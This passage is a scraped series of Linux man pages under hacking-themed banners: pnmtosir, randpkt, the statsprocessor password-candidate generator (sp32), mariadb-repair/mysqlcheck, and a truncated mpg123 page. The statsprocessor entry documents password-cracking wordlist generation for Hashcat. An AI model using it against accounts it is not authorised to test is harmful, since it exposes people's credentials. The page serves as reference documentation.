NAME 🖥️ pnmtosir 🖥️

convert a PNM image into a Solitaire format

SYNOPSIS

pnmtosir

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmtosir reads a PNM image as input and produces a Solitaire Image Recorder format image.

pnmtosir produces an MGI TYPE 17 file for PBM and PGM files. For PPM, it writes a MGI TYPE 11 file.

OPTIONS

There are no command line options defined specifically for pnmtosir, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

sirtopnm(1) , pnm(1)

AUTHOR

Copyright (C) 1991 by Marvin Landis.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtosir.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1350 - Linux cli command randpkt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command randpkt and provides detailed information about the command randpkt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the randpkt.

NAME 🖥️ randpkt 🖥️

Random packet generator

SYNOPSIS

randpkt-b <maxbytes> ] [ -c <count> ] [ -F <file format> ] [ -r ] [ -t <type> ] <filename>

randpkt -h|–help

randpkt -v|–version

DESCRIPTION

randpkt is a small utility that creates a trace file full of random packets.

By creating many randomized packets of a certain type, you can test packet sniffers to see how well they handle malformed packets. The sniffer can never trust the data that it sees in the packet because you can always sniff a very bad packet that conforms to no standard. randpkt produces very bad packets.

When creating packets of a certain type, randpkt uses a sample packet that is stored internally to randpkt. It uses this as the starting point for your random packets, and then adds extra random bytes to the end of this sample packet.

For example, if you choose to create random ARP packets, randpkt will create a packet which contains a predetermined Ethernet II header, with the Type field set to ARP. After the Ethernet II header, it will put a random number of bytes with random values.

OPTIONS

-b <maxbytes>

Default 5000.

Defines the maximum number of bytes added to the sample packet. If you choose a maxbytes value that is less than the size of the sample packet, then your packets would contain only the sample packet… not much variance there! randpkt exits on that condition.

-c <count>

Default 1000.

Defines the number of packets to generate.

-F <file format>

Default pcapng.

Sets the file format of the output capture file. randpkt can write the file in several formats; randpkt -F provides a list of the available output formats. Note that not all output formats support all packet types.

-h|–help

Print the version number and options and exit.

-r

The packet type is determined randomly for each packet. This requires an output format that can support different encapsulations per packet, like pcapng.

-t <type>

Default Ethernet II frame.

Defines the type of packet to generate:

arp Address Resolution Protocol bgp Border Gateway Protocol bvlc BACnet Virtual Link Control dns Domain Name Service eth Ethernet fddi Fiber Distributed Data Interface giop General Inter-ORB Protocol icmp Internet Control Message Protocol ip Internet Protocol ipv6 Internet Protocol Version 6 llc Logical Link Control m2m WiMAX M2M Encapsulation Protocol megaco MEGACO nbns NetBIOS-over-TCP Name Service ncp2222 NetWare Core Protocol sctp Stream Control Transmission Protocol syslog Syslog message tds TDS NetLib tcp Transmission Control Protocol tr Token-Ring udp User Datagram Protocol usb Universal Serial Bus usb-linux Universal Serial Bus with Linux specific header

-v|–version

Print the full version information and exit.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

EXAMPLES

To see a description of the randpkt options use:

randpkt

To generate a capture file with 1000 DNS packets use:

randpkt -b 500 -t dns rand_dns.pcapng

To generate a small capture file with just a single LLC frame use:

randpkt -b 100 -c 1 -t llc single_llc.pcapng

SEE ALSO

pcap(3), editcap(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1351 - Linux cli command sp32

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sp32 and provides detailed information about the command sp32, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sp32.

NAME 🖥️ sp32 🖥️

word generator based on per-position Markov chains

SYNOPSIS

sp64 [options]… hcstat-file [filter-mask]

DESCRIPTION

Statsprocessor is a word generator based on per-position Markov chains packed into a single stand-alone binary. The resulting words can then, for example, be postprocessed and fed into Hashcat or other password recovery tools.

sp by atom, High-Performance word generator based on hashcat markov stats

* Startup:

-V, –version
Print version

-h, –help
Print help

* Increment:

–pw-min=NUM
Start incrementing at NUM

–pw-max=NUM
Stop incrementing at NUM

* Markov:

–markov-disable
Emulates maskprocessor output

–markov-classic
No per-position tables

–threshold=NUM
Filter out chars after NUM chars added Set to 0 to disable

* Misc:

–combinations
Calculate number of combinations

–hex-charset
Assume charset is given in hex

* Resources:

-s, –skip=NUM
skip number of words (for restore)

-l, –limit=NUM
limit number of words (for distributed)

* Files:

-o, –output-file=FILE
Output-file

* Custom charsets:

-1, –custom-charset1=CS
User-defineable charsets

-2, –custom-charset2=CS
Example:

-3, –custom-charset3=CS –custom-charset1=?dabcdef

-4, –custom-charset4=CS
sets charset ?1 to 0123456789abcdef

* Built-in charsets:

?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?s = !"#$%&’()*+,-./:;<=>?@[^_`{|}~ ?a = ?l?u?d?s ?h = 8 bit characters from 0xc0 - 0xff ?D = 8 bit characters from german alphabet ?F = 8 bit characters from french alphabet ?R = 8 bit characters from russian alphabet

EXAMPLE

The following example was made just to see what comes out of statsprocessor.

$ ./sp64.bin –pw-min 5 –pw-max 5 hashcat.hcstat ?l?l?l?l?l | head -9

In Markov chains we have a statistic generated which letter is following which letter based on the analysis of the original input dictionary used to generate the .hcstat. In this case the most used letter on the first position is the letter “s”. The program then looks up the Markov table with the key “s” to get the most used letter after the letter “s” on position 0. In our case, it’s the letter “a”. This chain continues until the end of the word, iterating through all letters stored in the Markov table.

REPORTING BUGS

Please report bugs upstream to the statsprocessor issue tracker on GitHub: https://github.com/hashcat/statsprocessor/issues

COPYRIGHT

This tool is developed and maintained by Jens Steube under the MIT License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1352 - Linux cli command mariadb-repair

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-repair and provides detailed information about the command mariadb-repair, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-repair.

NAME 🖥️ mariadb-repair 🖥️

check - a table maintenance program (mysqlcheck is now a symlink to mariadb-check)

SYNOPSIS

**mysqlcheck [options] [**db_name **[**tbl_name …]]

DESCRIPTION

The mysqlcheck client performs table maintenance: It checks, repairs, optimizes, or analyzes tables.

Each table is locked and therefore unavailable to other sessions while it is being processed, although for check operations, the table is locked with a READ lock only. Table maintenance operations can be time-consuming, particularly for large tables. If you use the –databases or –all-databases option to process all tables in one or more databases, an invocation of mysqlcheck might take a long time. (This is also true for mysql_upgrade because that program invokes mysqlcheck to check all tables and repair them if necessary.)

mysqlcheck is similar in function to myisamchk, but works differently. The main operational difference is that mysqlcheck must be used when the mysqld server is running, whereas myisamchk should be used when it is not. The benefit of using mysqlcheck is that you do not have to stop the server to perform table maintenance.

mysqlcheck uses the SQL statements CHECK TABLE, REPAIR TABLE, ANALYZE TABLE, and OPTIMIZE TABLE in a convenient way for the user. It determines which statements to use for the operation you want to perform, and then sends the statements to the server to be executed.

The MyISAM storage engine supports all four maintenance operations, so mysqlcheck can be used to perform any of them on MyISAM tables. Other storage engines do not necessarily support all operations. In such cases, an error message is displayed. For example, if test.t is a MEMORY table, an attempt to check it produces this result:

shell> mysqlcheck test t test.t note : The storage engine for the table doesn’t support check

If mysqlcheck is unable to repair a table, see the MariaDB Knowledge Base for manual table repair strategies. This will be the case, for example, for InnoDB tables, which can be checked with CHECK TABLE, but not repaired with REPAIR TABLE.

The use of mysqlcheck with partitioned tables is not supported.

Caution

It is best to make a backup of a table before performing a table repair operation; under some circumstances the operation might cause data loss. Possible causes include but are not limited to file system errors.

There are three general ways to invoke mysqlcheck:

shell> mysqlcheck [options] db_name [tbl_name …] shell> mysqlcheck [options] –databases db_name … shell> mysqlcheck [options] –all-databases

If you do not name any tables following db_name or if you use the –databases or –all-databases option, entire databases are checked.

mysqlcheck has a special feature compared to other client programs. The default behavior of checking tables (–check) can be changed by renaming the binary. If you want to have a tool that repairs tables by default, you should just make a copy of mysqlcheck named mysqlrepair, or make a symbolic link to mysqlcheck named mysqlrepair. If you invoke mysqlrepair, it repairs tables.

The following names can be used to change mysqlcheck default behavior.

mysqlrepairThe default option is --repair
mysqlanalyzeThe default option is --analyze
mysqloptimizeThe default option is --optimize

mysqlcheck supports the following options, which can be specified on the command line or in the [mysqlcheck] and [client] option file groups. The -c, -r, -a and -o options are exclusive to each other.

·

–help, -?

Display a help message and exit.

·

–all-databases, -A

Check all tables in all databases. This is the same as using the –databases option and naming all the databases on the command line.

·

–all-in-1, -1

Instead of issuing a statement for each table, execute a single statement for each database that names all the tables from that database to be processed.

·

–analyze, -a

Analyze the tables.

·

–auto-repair

If a checked table is corrupted, automatically fix it. Any necessary repairs are done after all tables have been checked.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–check, -c

Check the tables for errors. This is the default operation.

·

–check-only-changed, -C

Check only tables that have changed since the last check or that have not been closed properly.

·

–check-upgrade, -g

Invoke CHECK TABLE with the FOR UPGRADE option to check tables for incompatibilities with the current version of the server. This option automatically enables the –fix-db-names and –fix-table-names options.

·

–compress

Compress all information sent between the client and the server if both support compression.

·

–databases, -B

Process all tables in the named databases. Normally, mysqlcheck treats the first name argument on the command line as a database name and following names as table names. With this option, it treats all name arguments as database names.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info

Print debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

–extended, -e

If you are using this option to check tables, it ensures that they are 100% consistent but takes a long time.

If you are using this option to repair tables, it will force using the old, slow, repair with keycache method, instead of the much faster repair by sorting.

·

–fast, -F

Check only tables that have not been closed properly.

·

–fix-db-names

Convert database names to the format used since MySQL 5.1. Only database names that contain special characters are affected.

·

–fix-table-names

Convert table names (including views) to the format used since MySQL 5.1. Only table names that contain special characters are affected.

·

–flush,

Flush each table after check. This is useful if you don’t want to have the checked tables take up space in the caches after the check.

·

–force, -f

Continue even if an SQL error occurs.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–medium-check, -m

Do a check that is faster than an –extended operation. This finds only 99.99% of all errors, which should be good enough in most cases.

·

–no-defaults

Do not read default options from any option file. This must be given as the first argument.

·

–optimize, -o

Optimize the tables.

·

–password[=password], -p[password]

The password to use when connecting to the server. If you use the short option form (-p), you cannot have a space between the option and the password. If you omit the password value following the –password or -p option on the command line, mysqlcheck prompts for one.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

–persistent, -Z

Used with ANALYZE TABLE to append the option PERSISENT FOR ALL.

·

–pipe, -W

On Windows, connect to the server via a named pipe. This option applies only if the server supports named-pipe connections.

·

**–plugin-dir=**name

Directory for client-side plugins.

·

**–port=**port_num, -P port_num

The TCP/IP port number to use for the connection. Forces –protocol=tcp when specified on the command line without other connection properties.

·

–print-defaults

Print the program argument list and exit. This must be given as the first argument.

·

–process-tables

Perform the requested operation on tables. Defaults to on; use –skip-process-tables to disable.

·

**–process-views=**val

Perform the requested operation (only CHECK VIEW or REPAIR VIEW). Possible values are NO, YES (correct the checksum, if necessary, add the mariadb-version field), UPGRADE_FROM_MYSQL (same as YES and toggle the algorithm MERGE<->TEMPTABLE.

·

–protocol={TCP|SOCKET|PIPE|MEMORY}

The connection protocol to use for connecting to the server. It is useful when the other connection parameters normally would cause a protocol to be used other than the one you want.

·

–quick, -q

If you are using this option to check tables, it prevents the check from scanning the rows to check for incorrect links. This is the fastest check method.

If you are using this option to repair tables, it tries to repair only the index tree. This is the fastest repair method.

·

–repair, -r

Perform a repair that can fix almost anything except unique keys that are not unique.

·

–silent, -s

Silent mode. Print only error messages.

·

**–skip-database=**db_name

Don’t process the database (case-sensitive) specified as argument.

·

**–socket=**path, -S path

For connections to localhost, the Unix socket file to use, or, on Windows, the name of the named pipe to use. Forces –protocol=socket when specified on the command line without other connection properties; on Windows, forces –protocol=pipe.

·

–ssl

Enable SSL for connection (automatically enabled with other flags). Disable with –skip-ssl.

·

**–ssl-ca=**name

CA file in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-capath=**name

CA directory (check OpenSSL docs, implies –ssl).

·

**–ssl-cert=**name

X509 cert in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-cipher=**name

SSL cipher to use (check OpenSSL docs, implies –ssl).

·

**–ssl-key=**name

X509 key in PEM format (check OpenSSL docs, implies –ssl).

·

**–ssl-crl=**name

Certificate revocation list (check OpenSSL docs, implies –ssl).

·

**–ssl-crlpath=**name

Certificate revocation list path (check OpenSSL docs, implies –ssl).

·

–ssl-verify-server-cert

Verify server’s “Common Name” in its cert against hostname used when connecting. This option is disabled by default.

·

–tables

Override the –databases or -B option. All name arguments following the option are regarded as table names.

·

–use-frm

For repair operations on MyISAM tables, get the table structure from the .frm file so that the table can be repaired even if the .MYI header is corrupted.

·

**–user=**user_name, -u user_name

The MariaDB user name to use when connecting to the server.

·

–verbose, -v

Verbose mode. Print information about the various stages of program operation. Using one –verbose option will give you more information about what mysqlcheck is doing.

Using two –verbose options will also give you connection information.

Using it 3 times will print out all CHECK, RENAME and ALTER TABLE during the check phase.

·

–version, -V

Display version information and exit.

·

–write-binlog

This option is enabled by default, so that ANALYZE TABLE, OPTIMIZE TABLE, and REPAIR TABLE statements generated by mysqlcheck are written to the binary log. Use –skip-write-binlog to cause NO_WRITE_TO_BINLOG to be added to the statements so that they are not logged. Use the –skip-write-binlog when these statements should not be sent to replication slaves or run when using the binary logs for recovery from backup.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1353 - Linux cli command mpg123-nas

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mpg123-nas and provides detailed information about the command mpg123-nas, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mpg123-nas.

NAME 🖥️ mpg123-nas 🖥️

play audio MPEG 1.0/2.0/2.5 stream (layers 1, 2 and 3)

SYNOPSIS

mpg123 [ options ] file-or-URL

DESCRIPTION

mpg123 reads one or more *file *s (or standard input if ``-’’ is specified) or *URL *s and plays them on the audio device (default) or outputs them to stdout. *file */URL is assumed to be an MPEG audio bit stream.

OPERANDS

The following operands are supported:

file(s)
The path name(s) of one or more input files. They must be valid MPEG-1.0/2.0/2.5 audio layer 1, 2 or 3 bit streams. If a dash ``-’’ is specified, MPEG data will be read from the standard input. Furthermore, any name starting with ``http://’’ or ``https://’’ is recognized as URL (see next section), while a leading ``file://’’ is being stripped for normal local file access, for consistency (since mpg123 1.30.1).

OPTIONS

mpg123 options may be either the traditional POSIX one letter options, or the GNU style long options. POSIX style options start with a single ``-’’, while GNU long options start with ``- -’’. Option arguments (if needed) follow separated by whitespace (not ``=’’). Note that some options can be absent from your installation when disabled in the build process.

INPUT OPTIONS

-k num, - -skip num
Skip first num frames. By default the decoding starts at the first frame.

-n num, - -frames num
Decode only num frames. By default the complete stream is decoded.

–fuzzy
Enable fuzzy seeks (guessing byte offsets or using approximate seek points from Xing TOC). Without that, seeks need a first scan through the file before they can jump at positions. You can decide here: sample-accurate operation with gapless features or faster (fuzzy) seeking.

-y, - -no-resync
Do NOT try to resync and continue decoding if an error occurs in the input file. Normally, mpg123 tries to keep the playback alive at all costs, including skipping invalid material and searching new header when something goes wrong. With this switch you can make it bail out on data errors (and perhaps spare your ears a bad time). Note that this switch has been renamed from –resync. The old name still works, but is not advertised or recommended to use (subject to removal in future).

-F, - -no-frankenstein
Disable support for Frankenstein streams. Normally, mpg123 stays true to the concept of MPEG audio being just a concatenation of MPEG frames. It will continue decoding even if the type of MPEG frames varies wildly. With this switch, it will only decode the input as long as it does not change its character (from layer I to layer III, changing sampling rate, from mono to stereo), silently assuming end of stream on such occasion. The switch also stops decoding of compatible MPEG frames if there was an Info frame (Xing header, Lame tag) that contained a length of the track in MPEG frames. This comes a bit closer to the notion of a MP3 file as a defined collection of MPEG frames that belong together, but gets rid of the flexibility that can be fun at times but mostly is hell for the programmer of the parser and decoder …

- -network backend
Select network backend (helper program), choices are usually auto, wget, and curl. Auto means to try the first available backend.

- -resync-limit bytes
Set number of bytes to search for valid MPEG data once lost in stream; <0 means search whole stream. If you know there are huge chunks of invalid data in your files… here is your hammer. Note: Only since version 1.14 this also increases the amount of junk skipped on beginning.

-u auth, - -auth auth
HTTP authentication to use when receiving files via HTTP. The format used is user:password. Mpg123 will clear this quickly, but it may still appear in sight of other users or even just in your shell history. You may seek alternative ways to specify that to your network backend.

- -auth-file authfile
Provide the authentication info via given file instead of command line directly.

- -ignore-mime
Ignore MIME types given by HTTP server. If you know better and want mpg123 to decode something the server thinks is image/png, then just do it.

- -no-icy-meta
Do not accept ICY meta data.

- -streamdump filename
Dump a copy of the input data (as read by libmpg123) to the given file. This enables you to store a web stream to disk while playing, or just create a concatenation of the local files you play for … why not?

- -icy-interval bytes
This setting enables you to play a stream dump containing ICY metadata at the given interval in bytes (the value of the icy-metaint HTTP response header). Without it, such a stream will play, but will cause regular decoding glitches with resync.

- -no-seekbuffer
Disable the default micro-buffering of non-seekable streams that gives the parser a safer footing.

-@ file, - -list file
Read filenames and/or URLs of MPEG audio streams from the specified file in addition to the ones specified on the command line (if any). Note that file can be either an ordinary file, a dash ``-’’ to indicate that a list of filenames/URLs is to be read from the standard input, or an URL pointing to a an appropriate list file. Note: only one -@ option can be used (if more than one is specified, only the last one will be recognized). Furthermore, for HTTP resources, the MIME type information will be used to re-open an actual MPEG stream as such instead of treating it as playlist file. So you could just always use -@ for web resources without bothering if it is a playlist or already the resolved stream address.

-l n, - -listentry n
Of the playlist, play specified entry only. n is the number of entry starting at 1. A value of 0 is the default and means playing the whole list, a negative value means showing of the list of titles with their numbers…

- -continue
Enable playlist continuation mode. This changes frame skipping to apply only to the first track and also continues to play following tracks in playlist after the selected one. Also, the option to play a number of frames only applies to the whole playlist. Basically, this tries to treat the playlist more like one big stream (like, an audio book). The current track number in list (1-based) and frame number (0-based) are printed at exit (useful if you interrupted playback and want to continue later). Note that the continuation info is printed to standard output unless the switch for piping audio data to standard out is used. Also, it really makes sense to work with actual playlist files instead of lists of file names as arguments, to keep track positions consistent.

–loop times
for looping track(s) a certain number of times, < 0 means infinite loop (not with –random!).

–keep-open
For remote control mode: Keep loaded file open after reaching end.

–timeout seconds
Timeout in (integer) seconds before declaring a stream dead (if <= 0, wait forever).

-z, - -shuffle
Shuffle play. Randomly shuffles the order of files specified on the command line, or in the list file.

-Z, –random
Continuous random play. Keeps picking a random file from the command line or the play list. Unlike shuffle play above, random play never ends, and plays individual songs more than once.

-i, - -index
Index / scan through the track before playback. This fills the index table for seeking (if enabled in libmpg123) and may make the operating system cache the file contents for smoother operating on playback.

–index-size size
Set the number of entries in the seek frame index table.

–preframes num
Set the number of frames to be read as lead-in before a seeked-to position. This serves to fill the layer 3 bit reservoir, which is needed to faithfully reproduce a certain sample at a certain position. Note that for layer 3, a minimum of 1 is enforced (because of frame overlap), and for layer 1 and 2, this is limited to 2 (no bit reservoir in that case, but engine spin-up anyway).

OUTPUT and PROCESSING OPTIONS

-o module, - -output module
Select audio output module. You can provide a comma-separated list to use the first one that works. Also see -a.

- -list-modules
List the available modules.

- -list-devices
List the available output devices for given output module. If there is no functionality to list devices in the chosen module, an error will be printed and mpg123 will exit with a non-zero code.

-a dev, - -audiodevice dev
Specify the audio device to use. The default as well as the possible values depend on the active output. For the JACK output, a comma-separated list of ports to connect to (for each channel) can be specified.

-s, - -stdout
The decoded audio samples are written to standard output, instead of playing them through the audio device. This option must be used if your audio hardware is not supported by mpg123. The output format per default is raw (headerless) linear PCM audio data, 16 bit, stereo, host byte order (you can force mono or 8bit).

-O file, - -outfile
Write raw output into a file (instead of simply redirecting standard output to a file with the shell).

-w file, - -wav
Write output as WAV file. This will cause the MPEG stream to be decoded and saved as file file , or standard output if - is used as file name. You can also use –au and –cdr for AU and CDR format, respectively. Note that WAV/AU writing to non-seekable files, or redirected stdout, needs some thought. Since 1.16.0, the logic changed to writing the header with the first actual data. This avoids spurious WAV headers in a pipe, for example. The result of decoding nothing to WAV/AU is a file consisting just of the header when it is seekable and really nothing when not (not even a header). Correctly writing data with prophetic headers to stdout is no easy business.

- -au file
Does not play the MPEG file but writes it to file in SUN audio format. If - is used as the filename, the AU file is written to stdout. See paragraph about WAV writing for header fun with non-seekable streams.

- -cdr file
Does not play the MPEG file but writes it to file as a CDR file. If - is used as the filename, the CDR file is written to stdout.

–reopen
Forces reopen of the audiodevice after ever song

–cpu decoder-type
Selects a certain decoder (optimized for specific CPU), for example i586 or MMX. The list of available decoders can vary; depending on the build and what your CPU supports. This option is only available when the build actually includes several optimized decoders.

–test-cpu
Tests your CPU and prints a list of possible choices for –cpu.

–list-cpu
Lists all available decoder choices, regardless of support by your CPU.

-g gain, - -gain gain
[DEPRECATED] Set audio hardware output gain (default: don’t change). The unit of the gain value is hardware and output module dependent. (This parameter is only provided for backwards compatibility and may be removed in the future without prior notice. Use the audio player for playing and a mixer app for mixing, UNIX style!)

-f factor, - -scale factor
Change scale factor (default: 32768).

–rva-mix, –rva-radio
Enable RVA (relative volume adjustment) using the values stored for ReplayGain radio mode / mix mode with all tracks roughly equal loudness. The first valid information found in ID3V2 Tags (Comment named RVA or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

–rva-album, –rva-audiophile
Enable RVA (relative volume adjustment) using the values stored for ReplayGain audiophile mode / album mode with usually the effect of adjusting album loudness but keeping relative loudness inside album. The first valid information found in ID3V2 Tags (Comment named RVA_ALBUM or the RVA2 frame) or ReplayGain header in Lame/Info Tag is used.

-0, - -single0; -1, - -single1
Decode only channel 0 (left) or channel 1 (right), respectively. These options are available for stereo MPEG streams only.

-m, - -mono, - -mix, - -singlemix
Mix both channels / decode mono. It takes less CPU time than full stereo decoding.

–stereo
Force stereo output

-r rate, - -rate rate
Set sample rate (default: automatic). You may want to change this if you need a constant bitrate independent of the mpeg stream rate. mpg123 automagically converts the rate. You should then combine this with –stereo or –mono.

- -resample method
Set resampling method to employ if forcing an output rate. Choices (case-insensitive) are NtoM, dirty, and fine. The fine resampler is the default. It employs libsyn123’s low-latency fairly efficient resampler to postprocess the output from libmpg123 instead of the fast but very crude NtoM decoder (drop sample method) that mpg123 offers since decades. If you are really low on CPU time, choose NtoM, as the resampler usually needs more time than the MPEG decoder itself. The mpg123 program is smart enough to combine the 2to1 or 4to1 downsampling modes with the postprocessing for extreme downsampling.

-2, - -2to1; -4, - -4to1
Performs a downsampling of ratio 2:1 (22 kHz from 44.1 kHz) or 4:1 (11 kHz) on the output stream, respectively. Saves some CPU cycles, but of course throws away the high frequencies, as the decoder does not bother producing them.

–pitch value
Set a pitch change (speedup/down, 0 is neutral; 0.05 is 5% speedup). When not enforcing an output rate, this changes the output sampling rate, so it only works in the range your audio system/hardware supports. When you combine this with a fixed output rate, it modifies a software resampling ratio instead.

–8bit
Forces 8bit output

- -float
Forces f32 encoding

-e enc, - -encoding enc
Choose output sample encoding. Possible values look like f32 (32-bit floating point), s32 (32-bit signed integer), u32 (32-bit unsigned integer) and the variants with different numbers of bits (s24, u24, s16, u16, s8, u8) and also special variants like ulaw and alaw 8-bit. See the output of mpg123’s longhelp for actually available encodings.

-d n, - -doublespeed n
Only play every n’th frame. This will cause the MPEG stream to be played n times faster, which can be used for special effects. Can also be combined with the - -halfspeed option to play 3 out of 4 frames etc. Don’t expect great sound quality when using this option.

-h n, - -halfspeed n
Play each frame n times. This will cause the MPEG stream to be played at 1/n’th speed (n times slower), which can be used for special effects. Can also be combined with the - -doublespeed option to double every third frame or things like that. Don’t expect great sound quality when using this option.

-E file, - -equalizer
